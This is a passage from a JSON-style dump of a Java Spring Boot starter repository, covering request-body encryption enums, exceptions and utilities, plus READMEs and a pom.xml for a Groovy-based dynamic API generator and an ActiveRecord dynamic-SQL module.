Charset charset = this.getDefaultCharset();\n                    if(charset==null){\n                        charset = StandardCharsets.UTF_8;\n                    }\n                    StreamUtils.copy((String)object, charset, outputMessage.getBody());\n                }else{\n                    super.writeInternal(object, type, outputMessage);\n                }\n            }\n        };\n    }\n\n    @Override\n    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {\n        MappingJackson2HttpMessageConverter converter = mappingJackson2HttpMessageConverter();\n        converter.setSupportedMediaTypes(new LinkedList<MediaType>(){{\n            add(MediaType.TEXT_HTML);\n            add(MediaType.APPLICATION_JSON_UTF8);\n        }});\n        converters.add(new StringHttpMessageConverter());\n        converters.add(converter);\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/enums/DecryptBodyMethod.java",
    "content": "package io.github.wujun728.encryptbody.enums;\n\n/**\n * <p>解密方式</p>\n * @author licoy.cn\n * @version 2018/9/4\n */\npublic enum DecryptBodyMethod {\n\n    /**\n     * DES\n     */\n    DES,\n    /**\n     * AES\n     */\n    AES,\n    /**\n     * RAS\n     */\n    RSA\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/enums/EncryptBodyMethod.java",
    "content": "package io.github.wujun728.encryptbody.enums;\n\n/**\n * <p>加密方式</p>\n * @author licoy.cn\n * @version 2018/9/4\n */\npublic enum EncryptBodyMethod {\n\n    /**\n     * MD5\n     */\n    MD5,\n    /**\n     * DES\n     */\n    DES,\n    /**\n     * AES\n     */\n    AES,\n    /**\n     * SHA\n     */\n    SHA,\n    /**\n     * RSA\n     */\n    RSA\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/enums/RSAKeyType.java",
    "content": "package io.github.wujun728.encryptbody.enums;\n\nimport cn.hutool.crypto.asymmetric.KeyType;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\n\nimport java.io.Serializable;\n\n/**\n * RSA的密钥类型\n *\n * @author Licoy\n * @date 2022/3/28\n */\n@AllArgsConstructor\n@Getter\npublic enum RSAKeyType implements Serializable {\n\n    /**\n     * 公钥\n     */\n    PUBLIC(1, KeyType.PublicKey),\n\n    /**\n     * 私钥\n     */\n    PRIVATE(2, KeyType.PrivateKey);\n\n    public final int type;\n\n    public final KeyType toolType;\n\n    }\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/enums/SHAEncryptType.java",
    "content": "package io.github.wujun728.encryptbody.enums;\n\nimport cn.hutool.crypto.SecureUtil;\nimport lombok.AllArgsConstructor;\n\nimport java.util.function.Function;\n\n/**\n * <p>SHA加密类型</p>\n * @author licoy.cn\n * @version 2018/9/6\n */\n@AllArgsConstructor\npublic enum  SHAEncryptType {\n\n    /**\n     * SHA TYPE\n     */\n    SHA1,\n    SHA256\n    ;\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/exception/DecryptBodyFailException.java",
    "content": "package io.github.wujun728.encryptbody.exception;\n\n/**\n * <p>解密数据失败异常</p>\n * @author licoy.cn\n * @version 2018/9/6\n */\npublic class DecryptBodyFailException extends RuntimeException {\n\n    public DecryptBodyFailException() {\n        super(\"Decrypting data failed. (解密数据失败)\");\n    }\n\n    public DecryptBodyFailException(String message) {\n        super(message);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/exception/DecryptMethodNotFoundException.java",
    "content": "package io.github.wujun728.encryptbody.exception;\n\n/**\n * <p>加密方式未找到或未定义异常</p>\n * @author licoy.cn\n * @version 2018/9/6\n */\npublic class DecryptMethodNotFoundException extends RuntimeException {\n\n    public DecryptMethodNotFoundException() {\n        super(\"Decryption method is not defined. (解密方式未定义)\");\n    }\n\n    public DecryptMethodNotFoundException(String message) {\n        super(message);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/exception/EncryptBodyFailException.java",
    "content": "package io.github.wujun728.encryptbody.exception;\n\n/**\n * <p>加密数据失败异常</p>\n * @author licoy.cn\n * @version 2018/9/6\n */\npublic class EncryptBodyFailException  extends RuntimeException {\n\n    public EncryptBodyFailException() {\n        super(\"Encrypted data failed. (加密数据失败)\");\n    }\n\n    public EncryptBodyFailException(String message) {\n        super(message);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/exception/EncryptMethodNotFoundException.java",
    "content": "package io.github.wujun728.encryptbody.exception;\n\n/**\n * <p>加密方式未找到或未定义异常</p>\n * @author licoy.cn\n * @version 2018/9/6\n */\npublic class EncryptMethodNotFoundException extends RuntimeException {\n\n    public EncryptMethodNotFoundException() {\n        super(\"Encryption method is not defined. (加密方式未定义)\");\n    }\n\n    public EncryptMethodNotFoundException(String message) {\n        super(message);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/exception/IllegalSecurityTypeException.java",
    "content": "package io.github.wujun728.encryptbody.exception;\n\n/**\n * <p>非法的安全类型</p>\n *\n * @author licoy.cn\n * @version 2022/3/29\n */\npublic class IllegalSecurityTypeException extends RuntimeException {\n\n    public IllegalSecurityTypeException() {\n        super(\"illegal security type. (非法的安全类型)\");\n    }\n\n    public IllegalSecurityTypeException(String message) {\n        super(message);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/exception/KeyNotConfiguredException.java",
    "content": "package io.github.wujun728.encryptbody.exception;\n\n\nimport lombok.NoArgsConstructor;\n\n/**\n * <p>未配置KEY运行时异常</p>\n * @author licoy.cn\n * @version 2018/9/6\n */\n@NoArgsConstructor\npublic class KeyNotConfiguredException extends RuntimeException {\n\n    public KeyNotConfiguredException(String message) {\n        super(message);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/util/CommonUtils.java",
    "content": "package io.github.wujun728.encryptbody.util;\n\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.crypto.SecureUtil;\nimport cn.hutool.crypto.asymmetric.RSA;\nimport io.github.wujun728.encryptbody.bean.ISecurityInfo;\nimport io.github.wujun728.encryptbody.exception.IllegalSecurityTypeException;\nimport io.github.wujun728.encryptbody.exception.KeyNotConfiguredException;\n\n/**\n * <p>工具类</p>\n *\n * @author licoy.cn\n * @version 2018/9/7\n */\npublic class CommonUtils {\n\n    public static String checkAndGetKey(String k1, String k2, String keyName) {\n        if (StrUtil.isEmpty(k1) && StrUtil.isEmpty(k2)) {\n            throw new KeyNotConfiguredException(String.format(\"%s is not configured (未配置%s)\", keyName, keyName));\n        }\n        if (k1 == null) {\n            return k2;\n        }\n        return k1;\n    }\n\n    public static RSA infoBeanToRsaInstance(ISecurityInfo info) {\n        RSA rsa;\n        switch (info.getRsaKeyType()) {\n            case PUBLIC:\n                rsa = new RSA(null, SecureUtil.decode(info.getKey()));\n                break;\n            case PRIVATE:\n                rsa = new RSA(SecureUtil.decode(info.getKey()), null);\n                break;\n            default:\n                throw new IllegalSecurityTypeException();\n        }\n        return rsa;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/util/ShaEncryptUtil.java",
    "content": "\n\npackage io.github.wujun728.encryptbody.util;\n\n\nimport cn.hutool.crypto.SecureUtil;\nimport cn.hutool.crypto.digest.Digester;\nimport io.github.wujun728.encryptbody.enums.SHAEncryptType;\nimport io.github.wujun728.encryptbody.exception.DecryptMethodNotFoundException;\n\n/**\n * <p>SHA加密工具类</p>\n *\n * @author licoy.cn\n * @version 2018/9/5\n */\npublic class ShaEncryptUtil {\n\n    /**\n     * SHA加密公共方法\n     *\n     * @param str  目标字符串\n     * @param type 加密类型 {@link SHAEncryptType}\n     */\n    public static String encrypt(String str, SHAEncryptType type) {\n        Digester digester;\n        switch (type) {\n            case SHA1:\n                digester = SecureUtil.sha1();\n                break;\n            case SHA256:\n                digester = SecureUtil.sha256();\n                break;\n            default:\n                throw new DecryptMethodNotFoundException();\n        }\n        return String.valueOf(digester.digestHex(str));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/README.md",
    "content": "# jun-groovy-api-spring-boot-starter\n\njun-groovy-api-spring-boot-starter是低代码开发平台开发stater基座，基于SpringBoot项目都可以嵌入支持。项目基于SpringBoot+Groovy+SQL动态生成API并动态发布，且发布后可动态执行groovy脚本及SQL脚本的Stater。提供在线执行动态程序脚热加载本及动态生成API并执行的功能。支持动态注册Mapping，动态生成类及源码并动态编译生成Bean，**可动态生成HTTP接口。支持在线编辑写好SQL或者Java源码、Groovy源码、Python源码（TODO），JavaScript源码（TODO）、Shell脚本，后即可快速生成Rest接口对外提供服务**，同时支持服务在线热加载在线编辑替换逻辑，还将提供了一键生成CRUD通用接口方法，减少通用接口的SQL编写，让开发人员专注更复杂的业务逻辑实现。支持有JDBC驱动的的数据源(Java支持的都可以支持)。后续将集成微服务注册中心、网关支持接口转发、黑白名单、权限认证、限流、缓存、监控等提供一站式API服务功能。\n\n说明：本项目仅是一个Stater，无法独立运行（通用模块），需要嵌入到jun_springboot_api_service中jun_springboot_groovy_api独立模块（定制模块）才能运行。\n\nThe project is based on SpringBoot+Groovy to dynamically generate APIs and publish them, and can dynamically execute Groovy scripts and SQL scripts' Staters after publication. Provide online execution of dynamic scripts class and hot loader and dynamic API generation and execution functions.\n\n\n\n# 使用教程\n\n- 在自己的maven项目中**引入maven坐标（已发布中央仓库）**\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-groovy-api-spring-boot-starter</artifactId>\n    <version>1.0.2-RELEASE</version>\n</dependency>\n```\n\n- 核心api - **Step1-加载源码生成类及SpringBean**\n```\nClass clazz = groovyClassLoader.parseClass(groovyInfo.getGroovyContent());\nBeanDefinitionBuilder builder = BeanDefinitionBuilder.genericBeanDefinition(clazz);\nBeanDefinition beanDefinition = builder.getBeanDefinition();\nregistry.registerBeanDefinition(groovyInfo.getBeanName(), beanDefinition);\n```\n\n- 核心api - **Step2-动态生成SpringMapping映射HTTP服务及接口（无需手写Mapping接口）**\n```\n// 取消历史注册\nrequestMappingHandlerMapping.unregisterMapping(mappingInfo);\n// 重新注册mapping\nrequestMappingHandlerMapping.registerMapping(mappingInfo, mappingFactory, targetMethod);\n}\n```\n\n\n- 核心api - **Step3-执行分N种实现，目前实现三种；SQL脚本模式、Java源码模式、Groovy源码**\nPython源码（TODO），NodeJS源码（TODO），Shell(TODO)、PHP(TODO)、PowerShell(TODO)等类型脚本(JVM支持的都可以支持), 具体见注入mapping的method方法；\n```\n// 源码解析并执行\nswitch (config.getScriptType()) {\ncase \"SQL\":\n\tdata = doSQLProcess(config, request, response);\n\tbreak;\ncase \"Class\":\n\tdata = doGroovyProcess(config, request, response);\n\tbreak;\ncase \"Groovy\": \n\tdata = doGroovyProcess(config, request, response);\n\tbreak;\ncase \"Jython\": // TODO\n\tdata = doPythonProcess(config, request, response);\n\tbreak; // TODO\ncase \"Javascript\": // TODO\n\tdata = doNodeJSProcess(config, request, response);\ncase \"Jruby\":// TODO\n\tdata = doRubyProcess(config, request, response);\n\tbreak;\ndefault:\n\tbreak;\n}\n\n// SQL源码执行（SQL脚本支持mybatis写法及原生写法）\nSqlMeta sqlMeta = JdbcUtil.getEngine().parse(apiSql.getSqlText(), sqlParam); \nObject data = JdbcUtil.executeSql(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\ndataList.add(data);\n\n// Java源码执行（实现IExecutor接口，支持定制不同的接口，一般情况下也够用了）\nString beanName = GroovyInnerCache.getByPath(config.getPath());//请求Path映射Bean名称\nMap<String, Object> params = getParams(request, config);//获取Request参数转Map\nIExecutor bean = SpringUtil.getBean(beanName);//调用Bean\nreturn bean.execute(params);//返回Bean结果集\n\n//其他源码执行（使用ScriptEngineManager来执行），举例JS如下，其他的还没来得及整,TODO中\nScriptEngineManager manager = new ScriptEngineManager();\nScriptEngine engine = manager.getEngineByName(\"javascript\");\n//向engine中存值\nengine.put(\"str\", \"jsEnginePutTest\");\nengine.eval(\"var output ='' ;for (i = 0; i <= str.length; i++) {  output = str.charAt(i) + output }\");     \n\n```\n\n# 示例\n\n**Step1-启动的时候会读取api_config表中的记录并注册为Bean**\n\n```\n\n开始解析groovy脚本...\nc.g.w.e.g.core.bean.GroovyDynamicLoader  : 当前groovyInfo加载完成,className-testdataresult,path-/api/test/testdataresult,beanName-testdataresult,BeanType-Class：\nc.g.w.e.g.core.bean.GroovyDynamicLoader  : 当前groovyInfo加载完成,className-test22Bean1,path-/mobile/api/test22,beanName-test22Bean1,BeanType-Class：\n结束解析groovy脚本...，耗时：1398\n\n```\n\n- **Step2，择取上面启动的两个示例：SQL示例（api_config里面插一条SQL类型的接口数据就可以了）**\n### SQL开发及定义\n\n**Step1，在数据库新增SQL接口**\n\n![img_1.png](doc/sql1.png)\n\n**Step2，执行SQL接口**\n\n![img_1.png](doc/sql2.png)\n\n**Step3、在线编辑接口及测试接口（TODO）**\n\n![img_1.png](doc/sql3.png)\n\n#### Java源码接口开发\n\n**Step1，在API_CONFIG表中新增一条数据映射成下面的类的解析，SQLyog数据及类的源码展示，具体如下**\n\n![img_2.png](doc/java1.png)\n\n![img_2.png](doc/java1-1.png)\n\n**Step2，在POSTMAN中通过PATH，调用这个类，并Java源码解析后执行结果集返回的数据**\n\n![img_2.png](doc/java2.png)\n\n**Step3，不重启JVM，手动修改源码**（即使修改幅度非常大也没问题，只要能编译成功就可以）\n\n![img_2.png](doc/java21.png)\n\n**Step4，调用缓存刷新Refresh接口，重新初始化Bean及缓存**\n\n![img_2.png](doc/java3.png)\n\n**Step5，在POSTMAN中通过PATH，再次调用这个类，执行结果集返回的数据是最新编译的**\n\n![img_2.png](doc/java4.png)"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun-groovy-api</artifactId>\n\t<version>1.0.25</version>\n\t<name>jun-groovy-api</name>\n\t<description>jun-groovy-api 动态API生成开发，可动态生成API并执行API</description>\n\t<url>https://github.com/wujun728/jun-spring-boot-starter/jun-groovy-api</url>\n\n\t<properties>\n\t\t<java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <groovy.version>2.5.4</groovy.version>\n        <hutool.version>5.8.41</hutool.version>\n        <freemarker.version>2.3.32</freemarker.version>\n        <commons-io.version>2.11.0</commons-io.version>\n        <mica-auto.version>2.3.3</mica-auto.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun-common-base</artifactId>\n            <version>1.0.25</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun-db-activerecord</artifactId>\n            <version>1.0.25</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun-mybatis-sql-engine</artifactId>\n            <version>1.0.25</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n            <version>19.0</version>\n\t\t</dependency>\n        <!--<dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n         <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-validation</artifactId>\n\t\t</dependency>\n\t\t <dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-jdbc</artifactId>\n\t\t</dependency>\n\t\t <dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-aop</artifactId>\n\t\t</dependency>-->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-jdbc</artifactId>\n            <version>5.3.39</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-web</artifactId>\n            <version>5.3.39</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-context</artifactId>\n            <version>5.3.39</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-aop</artifactId>\n            <version>5.3.39</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-webmvc</artifactId>\n            <version>5.3.39</version>\n        </dependency>\n        <!-- 插件内的 dependencies 节点修改如下，其他配置和方式1一致 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-autoconfigure</artifactId>\n            <version>2.5.14</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <version>2.5.14</version>\n            <scope>provided</scope>\n        </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.codehaus.groovy</groupId>\n\t\t\t<artifactId>groovy</artifactId>\n            <version>2.5.4</version>\n\t\t</dependency>\n\t\t<!--<dependency>\n\t\t\t<groupId>com.alibaba.fastjson2</groupId>\n\t\t\t<artifactId>fastjson2</artifactId>\n\t\t\t<version>2.0.37</version>\n\t\t</dependency>-->\n\t\t<dependency>\n\t\t\t<groupId>net.dreamlu</groupId>\n\t\t\t<artifactId>mica-auto</artifactId>\n            <version>2.3.3</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>cn.hutool</groupId>\n\t\t\t<artifactId>hutool-all</artifactId>\n            <version>5.8.41</version>\n\t\t</dependency>\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n            <version>2.3.32</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n            <version>2.11.0</version>\n        </dependency>\n    </dependencies>\n\t\n\t<!-- 依赖声明 -->\n    <dependencyManagement>\n        <dependencies>\n            <!-- SpringBoot的依赖配置-->\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n               \t\t<version>2.5.14</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n\t<developers>\n\t\t<developer>\n\t\t\t<name>wujun728</name>\n\t\t\t<email>wujun728@163.com</email>\n\t\t\t<url>https://github.com/wujun728/jun-spring-boot-starter/jun-api-online-spring-boot-starter</url>\n\t\t</developer>\n\t</developers>\n\n\t<scm>\n\t\t<url>https://github.com/wujun728/jun-spring-boot-starter/jun-api-online-spring-boot-starter.git</url>\n\t\t<connection>scm:git:https://github.com/wujun728/jun-spring-boot-starter/jun-api-online-spring-boot-starter.git</connection>\n\t\t<developerConnection>scm:git:https://github.com/wujun728/jun-spring-boot-starter/jun-api-online-spring-boot-starter.git</developerConnection>\n\t</scm>\n\n\t<licenses>\n\t\t<license>\n\t\t\t<name>The Apache Software License, Version 2.0</name>\n\t\t\t<url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n\t\t\t<distribution>repo</distribution>\n\t\t</license>\n\t</licenses>\n\n\t<distributionManagement>\n\t\t<snapshotRepository>\n\t\t\t<id>oss</id>\n\t\t\t<url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n\t\t</snapshotRepository>\n\t\t<repository>\n\t\t\t<id>oss</id>\n\t\t\t<url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n\t\t</repository>\n\t</distributionManagement>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<!-- Source -->\n\t\t\t<!---->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar-no-fork</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t\t<version>3.2.1</version>\n\t\t\t</plugin>\n\t\t\t<!-- Javadoc -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t\t<version>2.9.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<show>private</show>\n\t\t\t\t\t<nohelp>true</nohelp>\n\t\t\t\t\t<charset>UTF-8</charset>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t\t<docencoding>UTF-8</docencoding>\n\t\t\t\t\t<additionalparam>-Xdoclint:none</additionalparam>\n\t\t\t\t\t<!-- TODO 临时解决不规范的javadoc生成报错,后面要规范化后把这行去掉 -->\n\t\t\t\t</configuration>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t\t<!-- GPG --><!--\n\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-gpg-plugin</artifactId>\n\t\t\t\t<version>1.6</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>verify</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>sign</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>-->\n\t\t\t<!--Compiler -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t\t<fork>true</fork>\n\t\t\t\t\t<verbose>true</verbose>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<!--Release -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-release-plugin</artifactId>\n\t\t\t\t<version>2.5.1</version>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/readme2.md",
    "content": "# dbapi-spring-boot-starter\n\n## 概述\n\n- dbapi-spring-boot-starter 是接口快速开发工具，可以极大的降低代码量，类似于mybatis-plus框架，不需要再编写mapper接口、resultMap、resultType、javaBean(数据库表对应的java实体)\n- 通过xml编写sql和数据库配置，可以快速开发接口，支持多数据源，支持动态sql，支持mysql/postgresql/oracle/sqlserver/doris/hive/impala/clickhouse等等\n- dbapi-spring-boot-starter 是[DBAPI开源框架](https://github.com/freakchick/db-api) 的spring boot集成\n\n## 对比mybatis优劣\n\n- 如果使用mybatis框架的话，我们要编写 mapper java接口、mapper.xml、数据库表对应的javaBean实体类。\n  当join查询的时候还要封装resultMap(xml)和java dto实体类。\n- 如果使用本框架，相当于只需要编写mapper.xml中的sql脚本，参数类型返回类型都是自动的。极大的减少代码量。\n\n## 适用场景\n\n- 接口中没有复杂逻辑，都是sql执行，尤其适用于报表类应用\n- 需要多种数据源\n\n## 官方文档\n\n[官方文档](https://starter.51dbapi.com)\n\n## 引入依赖\n\n```xml\n\n<dependency>\n    <groupId>com.gitee.freakchicken</groupId>\n    <artifactId>dbapi-spring-boot-starter</artifactId>\n    <version>1.1.0</version>\n</dependency>\n```\n\n## 代码案例\n[dbapi-spring-boot-starter-demo](https://gitee.com/freakchicken/dbapi-spring-boot-starter-demo.git)\n\n## 联系作者：\n\n### wechat：\n\n<div style=\"text-align: center\"> \n<img src=\"https://freakchicken.gitee.io/images/kafkaui/wechat.jpg\" width = \"30%\" />\n</div>\n\n### 捐赠：\n\n如果您喜欢此项目，请给捐助作者一杯咖啡\n<div style=\"text-align: center\">\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/alipay.png\"/>\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/wechatpay.png\"/>\n</div>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/readme3.md",
    "content": "# 概述\n\n- jun-db-activerecord是一个集ActiveRecord及动态sql解析的数据层操作插件，抽取了mybatis源码SQL解析模块及jfinal的db+record模块，\n- 1.1、相当于mybatis中的动态sql解析功能的抽取，主要是各种标签的XML解析，用法跟Mybatis的XML的SQL写法是一样的\n- 1.2、类似mybatis的功能，解析带标签的动态sql，生成`?`占位符的sql和`?`对应的参数列表。\n- 1.3、集成了ActiveRecord模型，完美解决弱类型的数据层组件，。\n- 支持 `<if>` `<foreach>` `<where>` `<set>` `<trim>`\n\n# 使用教程\n\n- 在自己的maven项目中引入maven坐标\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-db-activerecord</artifactId>\n    <version>${jun.version}</version>\n</dependency>\n```\n\n\n\n- 核心api -- Db + Record模式\n```\n\n1､常见用法\nDb类及其配套的Record类，提供了在Model类之外更为丰富的数据库操作功能。使用Db与Record类时，无需对数据库表进行映射，Record相当于一个通用的Model。以下为Db + Record模式的一些常见用法：\n\n// 创建name属性为James,age属性为25的record对象并添加到数据库\nRecord user = new Record().set(\"name\", \"James\").set(\"age\", 25);\nDb.save(\"user\", user);\n \n// 删除id值为25的user表中的记录\nDb.deleteById(\"user\", 25);\n \n// 查询id值为25的Record将其name属性改为James并更新到数据库\nuser = Db.findById(\"user\", 25).set(\"name\", \"James\");\nDb.update(\"user\", user);\n \n// 获取user的name属性\nString userName = user.getStr(\"name\");\n// 获取user的age属性\nInteger userAge = user.getInt(\"age\");\n \n// 查询所有年龄大于18岁的user\nList<Record> users = Db.find(\"select * from user where age > 18\");\n \n// 分页查询年龄大于18的user,当前页号为1,每页10个user\nPage<Record> userPage = Db.paginate(1, 10, \"select *\", \"from user where age > ?\", 18);\n```\n\n\n\n\n\n- 核心api -- SQL动态参数模式\n```\nDynamicSqlEngine engine = new DynamicSqlEngine();\nSqlMeta sqlMeta = engine.parse(sql, map);\nObject data = SqlEngine.executeSql(connection, apiSql.getSqlText(), sqlParam);\n```\n- 示例\n```\n@Test\npublic void testForeachIF() {\n\tDynamicSqlEngine engine = new DynamicSqlEngine();\n\tString sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}<if test='id!=null'>  and id = #{id}</if></foreach>\");\n\tMap<String, Object> map = new HashMap<>();\n\n\tArrayList<model.User> arrayList = new ArrayList<>();\n\tarrayList.add(new model.User(10, \"zhangsan\"));\n\tarrayList.add(new model.User(11, \"lisi\"));\n\tmap.put(\"list\", arrayList.toArray());\n\tmap.put(\"id\", 100);\n\n\tSqlMeta sqlMeta = engine.parse(sql, map);\n\tSqlEngine.executeSql(connection, sql, map);\n\tSystem.out.println(sqlMeta.getSql());\n\tsqlMeta.getJdbcParamValues().forEach(System.out::println);\n}\n\n```\n\n- 示例执行结果：\n```\nselect * from user where name in  ( ? , ? ) \nzhangsan\nlisi\n```\n\n\n\n# mica-activerecord 模块\n\n## 功能\n- `@TableName` 注解 Model 自动 Mapping 映射。\n- 基于 Druid 的可执行 Sql 打印。\n- 基于 Druid 的 `DruidSqlDialect`，分页 sql 优化，支持多种数据库。\n- Record 的 `jackson` 处理。\n- `@Tx` 注解的 JFinal ActiveRecord 事务。\n- 可自定义 `ActiveRecordPluginCustomizer` Bean，实现自定义扩展。\n- `CodeGenerator` 代码生成 `markdown` 格式数据字典。\n- `ModelUtil` 实现 Model、Record -> Bean 转换。\n\n## 文档\njfinal ActiveRecord 文档：https://jfinal.com/doc/5-1\n\n## 添加依赖\n### maven\n```xml\n<dependency>\n  <groupId>net.dreamlu</groupId>\n  <artifactId>mica-activerecord</artifactId>\n  